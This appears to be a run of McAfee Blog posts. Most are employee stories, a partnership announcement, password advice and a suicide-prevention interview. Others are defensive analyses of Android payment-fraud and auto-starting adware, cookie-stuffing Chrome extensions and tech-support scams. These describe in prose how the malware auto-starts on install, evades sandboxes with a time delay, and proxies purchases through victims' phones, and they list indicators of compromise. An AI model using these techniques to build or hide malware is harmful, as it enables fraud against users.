“#WSPD is important in highlighting the biggest killer of men and women under the age of 35. According to the W.H.O, we lose 700,000 people globally to suicide every year – that’s one person every 45 seconds. On average, each suicide will impact 135 other people. This means that more than 95 million people are impacted by suicide annually! And while #WSPD is an important day to highlight, it’s fundamental that we recognize that suicide awareness needs to happen 365 days a year.”
“There are several reasons why stigmas surrounding mental health and suicide exist. Generally, it’s due to a lack of understanding and people making assumptions – such as those with a mental health illness could be dangerous, unreliable or unemployable. Cultural backgrounds also play a part in creating stigma – certain cultures see mental illness and suicide as a taboo subject. The language used around mental health and suicide can also create stigma. In the UK, the act of attempting suicide was decriminalized in 1961 and yet the term ‘committed suicide’ is still frequently used, in the same way as commit murder or commit assault.”
“It’s important to ask people how they are with a genuine intent to listen to and understand their reply. Most people who are struggling with their mental health don’t necessarily want you to fix them, but they do want to feel that they’re being listened to. Ask open-ended questions, such as ‘tell me how are you really feeling?’, ‘explain to me how this is impacting on you?’, ‘describe to me, how this is making you feel?”
“We need to become a kinder and more compassionate society by recognizing that everyone can, at some point in their lives, struggle with poor mental health. Understanding this, would hopefully cause people to be less frustrated with others who don’t behave as they expect they might. We also need to check-in with family members, friends and colleagues more frequently and ask them ‘how are you really doing?”
“I am one of those individuals who probably works too hard and for too long! However, road cycling is a big escape for me and getting out in the fresh air in the countryside is a huge help. As is my part-time hobby of playing the drums – you can lose a lot of pent-up stress whilst playing along to Nirvana!! It’s so important that you make sure to look after yourself. So, my advice is to find out what works for you – whether that’s going for a walk, talking to a friend, speaking to a counsellor, joining a local group or seeing what resources are available to you through your company’s EAP. And remember most importantly to be kind to yourself.”
If you or someone you know is struggling, please call or text 988 to get support. And remember, you are not alone.
Together we can prevent suicide
The post #WSPD Creating hope through action with The Jordan Legacy appeared first on McAfee Blog.
Authored by SangRyol Ryu and Yukihiro Okutomi
McAfee’s Mobile Research team recently analyzed new malware targeting NTT DOCOMO users in Japan. The malware which was distributed on the Google Play store pretends to be a legitimate mobile security app, but it is in fact a payment fraud malware stealing passwords and abusing reverse proxy targeting NTT DOCOMO mobile payment service users. McAfee researchers notified Google of the malicious apps, スマホ安心セキュリティ, or ‘Smartphone Anshin Security’, package name ‘com.z.cloud.px.app’ and ‘com.z.px.appx’. The applications are no longer available on Google Play. Google Play Protect has also taken steps to protect users by disabling the apps and providing a warning. McAfee Mobile Security products detect this threat as Android/ProxySpy and protect you from malware. For more information, to get fully protected, visit McAfee Mobile Security.
The malware actor continues to publish malicious apps on the Google Play Store with various developer accounts. According to the information posted on Twitter by Yusuke Osumi, Security Researcher at Yahoo! Japan, the attacker sends SMS messages from overseas with a Google Play link to lure users to install the malware. To attract more users, the message entices users to update security software.
A SMS message from France (from Twitter post by Yusuke)
Malware on Google Play
The Mobile Research team also found that the malware actor uses Google Drive to distribute the malware. In contrast to installing an application after downloading an APK file, Google Drive allows users to install APK files without leaving any footprint and makes the installation process simpler. Once the user clicks the link, there are only a few more touches required to run the application. Only three clicks are enough if users have previously allowed the installation of unknown apps on Google Drive.
Following notification from McAfee researchers, Google has removed known Google Drive files associated with the malware hashes listed in this blog post.
When an NTT DOCOMO network user installs and launches this malware, it asks for the Network password. Cleverly, the malware shows incorrect password messages to collect more precise passwords. Of course, it does not matter whether the password is correct or not. It is a way of getting the Network password.
The Network password is used for the NTT DOCOMO payment service which provides easy online payments. NTT DOCOMO mobile network users can start this payment service by just setting 4-digits password called a Network password. The charge will be paid along with the mobile phone bill. When you need to pay online, you can simply do the payment process by entering the 4-digits password.
After the password activity, the malware shows a fake mobile security screen. Interestingly, the layout of the activity is similar to our old McAfee Mobile Security. All buttons look genuine, but these are all fake.
There is a native library named ‘libmyapp.so’ loaded during the app execution written in Golang. The library, when loaded, tries to connect to the C2 server using a Web Socket. Web Application Messaging Protocol (WAMP) is used to communicate and process Remote Procedure Calls (RPC). When the connection is made, the malware sends out network information along with the phone number. Then, it registers the client’s procedure commands described in the table below. The web socket connection is kept alive and takes the corresponding action when the command is received from the server like an Agent. And the socket is used to send the Network password out to the attacker when the user enters the Network password on the activity.
| RPC Function name | Description |
| connect_to | Create reverse proxy and connect to remote server |
| disconnect | Disconnect the reverse proxy |
| get_status | Send the reverse proxy status |
| get_info | Send line number, connection type, operator, and so on |
| toggle_wifi | Set the Wi-Fi ON/OFF |
| show_battery_opt | Show dialog to exclude battery optimization for background work |
Registered RPC functions description
To make a fraudulent purchase by using leaked information, the attacker needs to use the victim’s mobile network. The RPC command ‘toggle_wifi’ can switch the Wi-Fi connection status of the victim, and ‘connect_to’ will provide a reverse proxy to the attacker. A reverse proxy can allow connecting the host behind a NAT (Network Address Translation) or a firewall. Via the proxy, the attacker can send purchase requests via the victim’s mobile network.
It is interesting that the malware uses a reverse proxy to steal the user’s network and implement an Agent service with WAMP. McAfee Mobile Research Team will continue to find this kind of threat and protect our customers from mobile threats. It is recommended to be more careful when entering a password or confidential information into untrusted applications.
193[.]239[.]154[.]23
91[.]204[.]227[.]132
ruboq[.]com
| SHA256 | Package Name | Distribution |
| 5d29dd12faaafd40300752c584ee3c072d6fc9a7a98a357a145701aaa85950dd | com.z.cloud.px.app | Google Play |
| e133be729128ed6764471ee7d7c36f2ccb70edf789286cc3a834e689432fc9b0 | com.z.cloud.px.app | Other |
| e7948392903e4c8762771f12e2d6693bf3e2e091a0fc88e91b177a58614fef02 | com.z.px.appx | Google Play |
| 3971309ce4a3cfb3cdbf8abde19d46586f6e4d5fc9f54c562428b0e0428325ad | com.z.cloud.px.app2 | Other |
| 2ec2fb9e20b99f60a30aaa630b393d8277949c34043ebe994dd0ffc7176904a4 | com.jg.rc.papp | Google Drive |
| af0d2e5e2994a3edd87f6d0b9b9a85fb1c41d33edfd552fcc64b43c713cdd956 | com.de.rc.seee | Google Drive |
The post Fake Security App Found Abuses Japanese Payment System appeared first on McAfee Blog.
Password protection is one of the most common security protocols available. By creating a unique password, you are both proving your identity and keeping your personal information safer. However, when every account you have requires a separate password, it can be an overwhelming task. While you should be concerned about the safety of your data, you also want to avoid the frustration of forgetting your password and being blocked from the information you need. However, the benefits of using strong, unique passwords outweigh the occasional inconvenience.
The main benefit of a strong password is security. Hackers work quickly when they are trying to access accounts. They want to steal as much information as they can in as short a time as possible. This makes an account with a strong password less inviting because cracking the code is much more involved.
A strong password also limits the damage that hackers can do to your personal accounts. A common strategy involves cracking the passwords of less secure sites with limited personal information. The hackers hope that they can use the password from your gym membership app to access information in your online banking account. Strong password protection prevents this situation.
When someone is registering an online account, it can be tempting to blaze through the password process. In order to move quickly, there are several poor password practices that people employ.
A password is considered strong when it is difficult for a hacker to crack it quickly. Sophisticated algorithms can run through many password combinations in a short time. A password that is long, complex and unique will discourage attempts to break into your accounts.
If you want a password that is memorable but strong, you can easily turn a phrase into a layered, complex password. In this process, it is important to note that you should not use personal information that is available online as part of your phrase.
Now, you have a password that you can remember while challenging the algorithms hackers use.
When you consider the number of accounts you need to protect, coming up with a properly layered password is a time-consuming task. Even if you are able to decide on a memorable phrase, there are just too many accounts that need passwords. A password manager is a helpful tool to keep you safe while you are online. It acts as a database for all of your passwords. Each time you create a new code, it stores it so that you can automatically enter it later. You only need to remember a single password to access the tools of your manager.
Most managers can also do the work of creating complex, layered passwords for your accounts. These will be a string of random numbers, letters and characters. They will not be memorable, but you are relying on the manager to do the memorizing. These machine-generated passwords are especially helpful for accounts you rarely access or that do not hold significant information.
For critical accounts like your bank account or a work-related account, it can be helpful to keep an offline list of your passwords. Complex passwords are meant to be difficult to remember. You may recall the phrase but not all the detailed changes that make it layered. Keeping a document on a zip drive or even in a physical paper file or journal will allow you to access your information if your hardware fails or you are switching to a new system.
Cracking passwords is just one of the strategies hackers use to steal information. In addition to using strong passwords, it is important to employ comprehensive security software. Strong passwords will help protect your online accounts. Strong overall security will keep your hardware and network safe from danger.
The post Strong Password Ideas to Keep Your Information Safe appeared first on McAfee Blog.
Authored by Oliver Devane and Vallabh Chole
September 9, 2022 Update: Since the original publication of this blog on August 29, 2022, the Flipshope browser extension was updated in the Chrome Store on September 6, 2022 with a version that no longer contains the potentially harmful features originally discussed in this blog.
September 30, 2022 Update: Since the original publication of this blog on August 29, 2022, the AutoBuy browser extension was updated in the Chrome Store on September 17, 2022 with a version that no longer contains the potentially harmful features originally discussed in this blog.
A few months ago, we blogged about malicious extensions redirecting users to phishing sites and inserting affiliate IDs into cookies of eCommerce sites. Since that time, we have investigated several other malicious extensions and discovered 5 extensions with a total install base of over 1,400,000
The extensions offer various functions such as enabling users to watch Netflix shows together, website coupons, and taking screenshots of a website. The latter borrows several phrases from another popular extension called GoFullPage
Apart from offering the intended functionality, the extensions also track the user’s browsing activity. Every website visited is sent to servers owned by the extension creator. They do this so that they can insert code into eCommerce websites being visited. This action modifies the cookies on the site so that the extension authors receive affiliate payment for any items purchased.
The users of the extensions are unaware of this functionality and the privacy risk of every site being visited being sent to the servers of the extension authors.
The 5 extensions are
| Name | Extension ID | Users |
| Netflix Party | mmnbenehknklpbendgmgngeaignppnbe | 800,000 |
|
Netflix Party 2 |
flijfnhifgdcbhglkneplegafminjnhn | 300,000 |
|
FlipShope – Price Tracker Extension
|
adikhbfjdbjkhelbdnffogkobkekkkej | 80,000 |
|
Full Page Screenshot Capture – Screenshotting
|
pojgkmkfincpdkdgjepkmdekcahmckjp | 200,000 |
| AutoBuy Flash Sales | gbnahglfafmhaehbdmjedfhdmimjcbed | 20,000 |
This section contains the technical analysis of the malicious chrome extension ‘mmnbenehknklpbendgmgngeaignppnbe’. All 5 extensions perform similar behavior.
The manifest.json sets the background page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites.
The b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.
Chrome extensions work by subscribing to events which they then use as triggers to perform a certain activity. The extensions analyzed subscribe to events coming from chrome.tabs.onUpdated. chrome.tabs.onUpdated will trigger when a user navigates to a new URL within a tab.
Once this event triggers, the extension will set a variable called curl with the URL of the tab by using the tab.url variable. It creates several other variables which are then sent to d.langhort.com. The POST data is in the following format:
| Variable | Description |
| Ref | Base64 encoded referral URL |
| County | The county of the device |
| City | The city of the device |
| Zip | The zip code of the device |
| Apisend | A random ID generated for the user. |
| Name | Base64 encoded URL being visited |
| ext_name | The name of the chrome extensions |
The random ID is created by selecting 8 random characters in a character set. The code is shown below:
The country, city, and zip are gathered using ip-api.com. The code is shown below:
Upon receiving the URL, langhort.com will check if it matches a list of websites that it has an affiliate ID for, and If it does, it will respond to the query. An example of this is shown below:
The data returned is in JSON format. The response is checked using the function below and will invoke further functions depending on what the response contains.
Two of the functions are detailed below:
If the result is ‘c’ such as the one in this blog, the extension will query the returned URL. It will then check the response and if the status is 200 or 404, it will check if the query responded with a URL. If it did, it would insert the URL that is received from the server as an Iframe on the website being visited.
If the result is ‘e’, the extension would insert the result as a cookie. We were unable to find a response of ‘e’ during our analysis, but this would enable the authors to add any cookie to any website as the extensions had the correct ‘cookie’ permissions.
The images below show the step-by-step flow of events while navigating to the BestBuy website.
Here is a video of the events
We discovered an interesting trick in a few of the extensions that would prevent malicious activity from being identified in automated analysis environments. They contained a time check before they would perform any malicious activity. This was done by checking if the current date is > 15 days from the time of installation.
This blog highlights the risk of installing extensions, even those that have a large install base as they can still contain malicious code.
McAfee advises its customers to be cautious when installing Chrome extensions and pay attention to the permissions that they are requesting.
The permissions will be shown by Chrome before the installation of the extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.
The Malicious code within the extension is detected as JTI/Suspect. Please perform a ‘Full’ scan via the product.
| Type | Value | Product | Detected |
| Chrome Extension | Netflix Party – mmnbenehknklpbendgmgngeaignppnbe | Total Protection and LiveSafe | JTI/Suspect |
| Chrome Extension | FlipShope – Price Tracker Extension – Version 3.0.7.0 – adikhbfjdbjkhelbdnffogkobkekkkej | Total Protection and LiveSafe | JTI/Suspect |
| Chrome Extension |
Full Page Screenshot Capture
pojgkmkfincpdkdgjepkmdekcahmckjp |
Total Protection and LiveSafe | JTI/Suspect |
| Chrome Extension | Netflix Party 2 – flijfnhifgdcbhglkneplegafminjnhn | Total Protection and LiveSafe | JTI/Suspect |
| Chrome Extension | AutoBuy Flash Sales gbnahglfafmhaehbdmjedfhdmimjcbed | Total Protection and LiveSafe | JTI/Suspect |
| URL | www.netflixparty1.com | McAfee WebAdvisor | Blocked |
| URL | netflixpartyplus.com | McAfee WebAdvisor | Blocked |
| URL | goscreenshotting.com | McAfee WebAdvisor | Blocked |
| URL | langhort.com | McAfee WebAdvisor | Blocked |
| URL | Unscart.in | McAfee WebAdvisor | Blocked |
| URL | autobuyapp.com | McAfee WebAdvisor | Blocked |
The post Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users appeared first on McAfee Blog.
In this career-journey series, Internal Audit Manager Chris shares his recent journey joining the McAfee finance team and why he is always learning something new in his role.
I’m an Internal Audit Manager. Essentially, I work with my McAfee colleagues to understand the processes we follow and run tests to confirm everything is happening as it should.
Sometimes people find audits intimidating, but I do my best to reassure people that there are no hidden tricks and I respect their time. We’re just making sure things are going according to plan and we’re fulfilling our responsibilities.
In a typical day, I have three priorities: Dad, Work, Gym.
I’m normally up at 6 a.m. to cook breakfast for my son and myself, and then drop him off at school. His favorite is bacon and eggs! Since I work with people around the world, I catch up on emails and then review the day’s work and catch up with my team. From there, most of my day is spent in meetings with McAfee colleagues or external auditors.
Somewhere in the day I get in a one-hour workout. It’s tough to do sometimes, but I’d say I get to the gym 90% of the time. It’s a great reset for me: a time where I can focus on me and putting my body to the test.
And, of course, I pick up my son from school and have Dad Time! That’s really my day in repeat. It seems like the same thing but feels different every day. I’m always meeting new people and puzzling through different problems. Every day is a fresh challenge.
After interviewing with my future co-workers, I was excited to join the company. I thought, “Oh, this company is fun!” The culture seemed to be a place where not only do you get to come for work, but also have sense of community within it.
Also, it was a chance to work for a great boss. I knew she was a great boss because I worked for her before. She gives you the vision, then gives you the freedom to explore and get the work done. You really get to own your work. I appreciate that.
At McAfee, employees are a top priority. You’re not just a robot who has to work-work-work. It’s okay to have fun and take 10 minutes out to see how others are doing.
I like the way the company comes together to have contests and other fun activities. In Finance, we recently had a scavenger hunt with 70 people. It was great seeing the faces of people you’ve only talked to on the phone.
Another way we engage each other is with a recognition program called Bravo! You can write a letter to someone saying hey, I appreciate you. That makes you feel more valued as an employee.
I also like the quarterly updates we get from leaders. At other companies, I’ve seen that done once a year. It’s nice to hear from the CEO every quarter about what’s going on in the organization.
There are two parts that make my role so rewarding. The first is I enjoy interacting with people and have a passion for learning. In this job, you hear so many cool stories, and I’m exposed to so many different areas and processes in across the business. There’s always something new to learn. It makes every day different.
Secondly, at McAfee I’m part of the McAfee African Heritage Community (MAHC). We get together and talk about things we want to share with other Community members and the rest of McAfee. I’ve met people I never would run into otherwise. That’s important to me as someone who’s fairly new to McAfee plus having worked remote all this time. It’s very cool to be part of a company that supports having communities.
Honestly, my job is always outside my comfort zone. There’s always a new problem to be solved. But I like that. The way I see it, if you’re comfortable, you aren’t growing. You need to do something you haven’t done before to move to the next level.
As an auditor, I’m always helping others understand the audit process and how to provide solid information, so the audit goes well.
One of the most helpful skills I have developed during my career is communication. I need to establish a rapport quickly in my work so we can work well together. Everybody is different, right? Some are more direct, some are more indirect, and some people are more casual than others. You always need to adjust when you meet people. Good communication skills help prevent misunderstandings, which is especially important in a global company like McAfee with so many different cultures.
Embrace change! Change is just another way to grow, learn, and realize potential you didn’t know you had. Look at it as an opportunity. Raise your hand up when problems arise and take on that tough problem. The person who fixes the problem is the person everyone remembers.
The post Embrace change! Chris’s McAfee Journey appeared first on McAfee Blog.
Authored by Oliver Devane
Technical Support Scams have been targeting computer users for many years. Their goal is to make victims believe they have issues needing to be fixed, and then charge exorbitant fees, which unfortunately some victims pay. This blog post covers a number of example actions, that scammers will go through when they are performing their scams. Our goal is to educate consumers on the signs to look out for, and what to do if they believe they are being scammed.
For a tech support scammer to reach their victims, they need to first find them (or be found by them). One technique we see includes scammers creating Twitter or other social media accounts that post messages claiming to be from the official technical support site. For example, a Twitter account will post a tweet with the hashtags #McAfee and #McAfeeLogin to drive traffic to the tweet and make victims believe the links are legitimate and safe to click.
Scammers behind tech support scams can create very convincing websites which mimic the official ones.
Some fraudulent websites use the McAfee logo or other company logos to try trick individuals. They often invite clicking on a ‘LOGIN’ or ‘ACTIVATE’ link with a similar color scheme to official sites to appear legitimate.
These sites may then ask the victim to enter their real username, password, and phone number. Upon entering these details, websites will usually show an error message to make the victim believe there is an issue with their account.
The error message will usually contain a link that upon clicking will load a chat box where the scammers will initiate a conversation with the victim. At this point, the scammers will have the phone number and email address associated with the victim. They will use this to contact them and make them believe they are an official technical support employee.
The scammer’s next objective is often to gain access to the victim’s computer. They do this so that they can trick the victim into believing there is an issue with their computer and that they need their support services to fix it.
The scammers will do this by either asking the victim to enter a URL that will result in the download of a remote access tool or by providing them with a link in the chat window if they are still speaking to them on the fake support website.
A remote access tool will enable the scammer to take complete control of the victim’s machine. With this, they will be able to remove or install software, access personal data such as documents and cryptocurrency wallets as well as dump passwords from the web browsers so they can then access all the victim’s accounts.
It is vital to not provide remote access to your computer to unknown and unverified individuals, as there could be a big risk to your personal data. Some examples of remote access tools that have legitimate uses but are often used to perpetrate fraud are:
If the scammers are given access to the victim’s machine, they will often make use of the command filename cmd.exe to perform some visual activity on the computer screen which is done to attempt to trick the individual into believing that some malicious activity is occurring on their computer or network. Most people will be unaware of the filename cmd.exe and the actions being used,and thus will be none the wiser to the scammer’s actions.
Here are some examples we have seen scammers use:
Changing the title of cmd.exe to ‘network scanner’ or ‘file scanner’ to make the victim believe they are running a security tool on their machine.
Scammers will make use of standard functions within the cmd.exe file, to make their victims believe they are performing lots of activity. One of these functions is ‘dir’ which will display all the files for a specific directory. For example, if you have a folder called ‘school work’ and have 2 word documents in there, a ‘dir’ query of that folder will appear like this:
What the scammers will do is make use of ‘dir’ and the title function to make you believe they are scanning your machine. Here is an example of running ‘dir’ on the all the files on a machine with the cmd.exe title set to ‘File Scanner’:
A similar function to ‘dir’ called ‘tree’ may also be used. The ‘tree’ function will display directory paths and will generate lots of events on the screen:
Some scammers will also add their phone number to the taskbar of the victim’s machine. They do this by creating a new folder with the phone number as the name and adding it as a toolbar. This is shown in the image below
Scammers may install other software on the victim’s machine or make them believe that they have installed additional software which they will then be charged for.
For example, some scammers may add programs to the desktop of victims which have no purpose, but the scammers insist they are legitimate security tools such as firewalls or network scanners.
Some example filenames are:
The scammers will usually perform some activity on your machine before asking for payment. This is done to build confidence in their work and make you believe they have done some activity and therefore deserve some sort of payment. Do not be fooled by scammers who have not performed any useful activity. As detailed in the previous sections, be careful not to fall victim to fake social media accounts or websites.
This section contains a few signs to look out for which may indicate that you are interacting with a scammer.
Some scammers will become rude and very short with you if you start questioning what they are doing. They may say that you are not technical and do not understand what is occurring. This would not be the behavior of a legitimate technical support operative.
Scammers will encourage you to leave the machine and remote connection on even if you need to go out and leave it unattended. Do not under any circumstances do this as they would then be free to do any activity they wish on your machine and network.
Some files added to your machine by the scammer may be detected by the AV security software. They may act like this is an error and the file is innocent. If you have initiated a remote connection and the controller creates a file on your machine which is detected by the security software, we recommend ceasing the interaction as detailed below.
The following steps should be performed if you believe you are being scammed as part of a tech support scam.
If the machine is connected via a network cable, the easiest way is to unplug it. If the machine is connected via Wi-Fi, there may be a physical switch that can be used to disconnect it. If there is no physical switch, turn off Wi-Fi through the settings or the computer. It can be powered down by pressing the power button.
Hang up the phone (or end the chat) and do not answer any more calls from that number. The scammer will try to make you believe that the call is legitimate and ask you to reconnect the remote-control software.
If the scammer was controlling your machine, the remote-control software will need to be removed. If the computer was powered down, it can be powered back up, but if a popup is shown asking for permission to allow remote access, do not grant it.
The remote software can usually be removed by using the control panel and add/remove programs. To do this, press the Windows key and then perform a search for ‘remove’ and click on ‘Add or remove programs’.
Sort the programs by install date as shown below and then remove the remote software by clicking on the ‘Uninstall’ button. Keep in mind that the software installed on your computer may appear by a different name, but if you look at what was installed on the same day as the scammer initiated the remote control session, you should be able to identify it.
Some scammers may add exclusions for the files they create on your computer so that they are not detected by the security software. We recommend checking the exclusions and if any are present which were not added by yourself to remove them.
A guide for McAfee customers is available here
After removing any software which was installed, we recommend updating your security software and performing a full scan. This will identify any malicious files created by the scammer such as password stealers and keyloggers.
After performing a full scan, we recommend changing all of your passwords as the scammer may have gathered your credentials while they had access to your computer. It is recommended to do this after performing a full scan as the scammers may have placed a password stealer on the computer and any new passwords you enter may also be stolen.
This blog post contains a number of examples that scammers may use to trick consumers into believing that they may have issues with their devices. If you are experiencing issues with your computer and want to speak to official McAfee support, please reach out via the official channel which is https://service.mcafee.com/.
The McAfee support pages can also be accessed directly via the McAfee Total Protection screen as shown below:
McAfee customers utilizing web protection (including McAfee Web Advisor) are protected from known malicious sites.
The post Technical Support Scams – What to look out for appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team has identified new malware on the Google Play Store. Most of them are disguising themselves as cleaner apps that delete junk files or help optimize their batteries for device management. However, this malware hides and continuously show advertisements to victims. In addition, they run malicious services automatically upon installation without executing the app.
They exist on Google Play even though they have malicious activities, so the victim can search for the following apps to optimize their device.
Users may generally think installing the app without executing it is safe. But you may have to change your mind because of this malware. When you install this malware on your device, it is executed without interaction and executes a malicious service.
In addition, they try to hide themselves to prevent users from noticing and deleting apps. Change their icon to a Google Play icon that users are familiar with and change its name to ‘Google Play’ or ‘Setting.’
Automatically executed services constantly display advertisements to victims in a variety of ways.
These services also induce users to run an app when they install, uninstall, or update apps on their devices.
To promote these apps to new users, the malware authors created advertising pages on Facebook. Because it is the link to Google Play distributed through legitimate social media, users will download it without a doubt.
This malware uses the Contact Provider. The Contact Provider is the source of data you see in the device’s contacts application, and you can also access its data in your own application and transfer data between the device and online services. For this, Google provides ContactsContract class. ContactsContract is the contract between the Contacts Provider and applications. In ContactsContract, there is a class called Directory. A Directory represents a contacts corpus and is implemented as a Content Provider with its unique authority. So, developers can use it if they want to implement a custom directory. The Contact Provider can recognize that the app is using a custom directory by checking special metadata in the manifest file.
The important thing is the Contact Provider automatically interrogates newly installed or replaced packages. Thus, installing a package containing special metadata will always call the Contact Provider automatically.
The first activity defined in the application tag in the manifest file is executed as soon as you install it just by declaring the metadata. The first activity of this malware will create a permanent malicious service for displaying advertisements.
In addition, the service process will generate immediately even if it is forced to kill.
Next, they change their icons and names using the <activity-alias> tag to hide.
It is confirmed that users have already installed these apps from 100K to 1M+. Considering that the malware works when it is installed, the installed number is reflected as the victim’s number. According to McAfee telemetry data, this malware and its variants affect a wide range of countries, including South Korea, Japan, and Brazil:
This malware is auto-starting malware, so as soon as the users download it from Google Play, they are infected immediately. And it is still constantly developing variants that are published by different developer accounts. Therefore, it is not easy for users to notice this type of malware.
We already disclosed this threat to Google and all reported applications were removed from the Play Store. Also, McAfee Mobile Security detects this threat as Android/HiddenAds and protects you from this type of malware. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com
| App Name | Package Name | Downloads |
| Junk Cleaner | cn.junk.clean.plp | 1M+ |
| EasyCleaner | com.easy.clean.ipz | 100K+ |
| Power Doctor | com.power.doctor.mnb | 500K+ |
| Super Clean | com.super.clean.zaz | 500K+ |
| Full Clean -Clean Cache | org.stemp.fll.clean | 1M+ |
| Fingertip Cleaner | com.fingertip.clean.cvb | 500K+ |
| Quick Cleaner | org.qck.cle.oyo | 1M+ |
| Keep Clean | org.clean.sys.lunch | 1M+ |
| Windy Clean | in.phone.clean.www | 500K+ |
| Carpet Clean | og.crp.cln.zda | 100K+ |
| Cool Clean | syn.clean.cool.zbc | 500K+ |
| Strong Clean | in.memory.sys.clean | 500K+ |
| Meteor Clean | org.ssl.wind.clean | 100K+ |
SHA256:
Domains:
The post New HiddenAds malware affects 1M+ users and hides on the Google Play Store appeared first on McAfee Blog.
Our How I Got Here series spotlights the stories of team members who have successfully grown their career here at McAfee. This journey features Gayatri who kicked off her second career at McAfee after leaving her role and returning to further education.
McAfee truly kicked off my second career journey! I previously worked as a Software Engineer before I joined the McAfee Pre-sales Operations team as a summer intern as part of my business graduate program. One thing led to another, and I joined McAfee full-time as a Technical Project Analyst after I graduated later that year!
I’ve always believed in having a growth mindset, I embrace learning and looking for ways to build on my achievements. I’m proud to be part of an organization that nurtures this and helps you pursue your passions. For example, in 2019 I moved from a team focused on products and services for large businesses to a team focused on individual consumers. The needs of consumers versus big businesses are very different, so the business operations work supporting that focus are very different as well. It was a steep learning curve, but I felt supported every step of the way, and since then have grown so much!
Back in 2011, I was a software engineer spending my days doing programming and web development. While I was happy doing that, it was after working on many client-facing projects that I aspired to work at the intersection of business and technology. So, I left engineering and went to business school.
Taking a break from my full-time job to pursue formal business education in a new country was a big step outside my comfort zone. It was challenging to find balance, but the journey was worth it!
Today, I am a Sales Enablement and Operations Manager supporting sales teams all over the world. My focus areas include managing platforms and tools like Salesforce, Power BI, and SharePoint Sales Portal, as well as our department’s training and enablement programs – in other words, technology and professional development that help our team members be successful. Plus, I’m a key team member for an array of programs and projects that are pushing the business forward.
My work is highly collaborative, and I really enjoy working on projects with colleagues across different departments all over the world. I get to see the bigger picture, better understand the business context, and see the WHY behind the initiatives we drive.
From business projects to being a part of the McAfee WISE (Women in Security) Board, it’s the people, culture, and opportunity that sets McAfee apart. I love working with the amazing people at McAfee!
Underlying it all: Working at McAfee matters because ultimately what we do helps protect lives of millions of people online.
I have come to realize that the pain of staying the same is greater than the pain of changing and growing. Develop a growth mindset to keep moving forward!
The post Kicking off my Second Career: Gayatri’s McAfee Journey appeared first on McAfee Blog.
Our How I Got Here series spotlights the stories of team members who have successfully grown their careers here at McAfee. This journey features Jeremy whose passion for learning has seen him grow his career in our Technology Services Team.
In 2015, I started as a contract worker to help manage network cabling in McAfee’s buildings. While I was doing that, I was also asked to help manage our voice network (think of this as phones and conference lines) for North and South America. A year after working in both of those roles, I was asked to focus on voice network engineering. After a couple of years, I began training as an engineer for our audio-visual workspace, which helps bring efficiency and centralization to our conference room communications and collaboration tools. And today, I am a Unified Communications Engineer!
My other role within McAfee is Co-President of the McAfee Veterans Community. I absolutely love the community of veterans from around the globe and our community allies. It’s a wonderful group of people who are always willing to serve their local communities. We have hosted inspiring guest speakers, and volunteer events, and continue to hold monthly virtual Coffee Talks and Happy Hours.
I don’t believe that I’ve ever had a typical workday. One moment I’m entering new employees into our systems, and the next I’m providing backend call-center support. I also help run our big Microsoft Teams live events. And, of course, I troubleshoot communications issues as they arise.
I truly enjoy working with the Technology Services team and especially the Voice and Video Team. Being able to collaborate with such wonderful teams is a really rewarding part of my role.
For about a decade in my previous role, I managed a team doing general upkeep in computer systems and I felt really comfortable doing that! I joined McAfee to do a similar role, but shortly afterward I was asked to pivot to more of an engineering role. It was a bit overwhelming at first, but luckily the team I was with was very helpful and supportive of my learning curve. Even though it was out of my comfort zone, I’m so glad I was given the opportunity – it has blessed mine and my family’s life!
To never stop learning. There is ALWAYS something to learn and someone who can mentor you. I believe that if you are surrounded by smart people (and pay attention), you can’t help but learn and grow! I absolutely love to learn, so this has been one of top of the reasons why I have loved my job since my very first day.
The post Don’t Stop Learning! Jeremy’s McAfee Journey appeared first on McAfee Blog.
McAfee announces a partnership that will grant new and existing Telstra customers easy access to McAfee’s leading security solutions to deliver holistic security and privacy protection through its integrated suite of services including Antivirus, Parental Controls, Identity Protection, Secure VPN and more, to protect and secure multiple devices including mobiles, PCs and laptops. The partnership brings added protection to Telstra’s millions of customers and their devices via McAfee’s intuitive and integrated consumer security platform
“A recent McAfee study found 27% of Australians surveyed reported attempted account theft and 23% had experienced financial account information leaks,” said Pedro Gutierrez, Senior Vice President of Global Sales and Operations at McAfee. “As the proliferation of life online accelerates, we are thrilled to be partnering with Telstra who are showing through this collaboration, a commitment to innovation and to their customers by investing in new infrastructure and technologies that safeguard their mobile and broadband subscribers.
McAfee’s integrated consumer security platform offers a wide array of mobile security solutions to protect customers’ privacy and identity while blocking viruses, malware, spyware, and ransomware attacks. This partnership allows Telstra’s customers to take advantage of these capabilities and protect themselves from additional threats including potential hacks, identity theft and broader gaps in online and mobile security so they can live life confidently online.
“In today’s increasingly connected world the risk of cyber threats continues to grow. To counter the risk, Telstra is committed to providing our customers with the safety and security features needed to protect them online,” said Matthew O’Brien, Cyber Security Executive and Group Owner at Telstra. “This partnership with McAfee helps drive our mission to build a safe and secure connected future where everyone can thrive, and further complements Telstra’s T25 ambition to extend our network leadership position by delivering greater value to our customers.”
To activate Device Security, Telstra customers can simply go in-store, online or to their MyTelstra app. The full suite of McAfee features supported include Antivirus/System Scan, Safe Browsing, Protection Center, Identity Protection, Password Manager, Parental Controls, Protection Score and Secure VPN. All eligible Telstra customers can try Device Security for three months on Telstra, then auto-roll onto $10/month after.
The post McAfee and Telstra Partner to Bring Privacy, Identity and Security to Australian Customers appeared first on McAfee Blog.
In the spirit of #PrideMonth, McAfee hosted month-long celebrations across the world. One of these was a live event hosted by the McAfee Pride Community with a guest speaker from the Resource Center that focused on the history of Pride, support, allyship, and belonging.
We took a moment to ask our event guest speaker, Leslie McMurray, about the work that Resource Center does, the importance of pride, and what companies can do to create inclusive work environments.
“We like to say, if we had an “elevator pitch”, we would need a really tall building! Resource Center has been around for 39 years and is one of the largest LGBTQIA+ community centers in the United States, it is a primary HIV/AIDS service organization in Texas.
Some of the work that we do includes operating a food pantry and hot meal program that serves low-income people living with HIV. We have a case management department that helps locate resources that we don’t directly provide, like housing. And we have a primary care clinic that is gender-affirming and a ten-chair dental clinic that also serves those living with HIV.
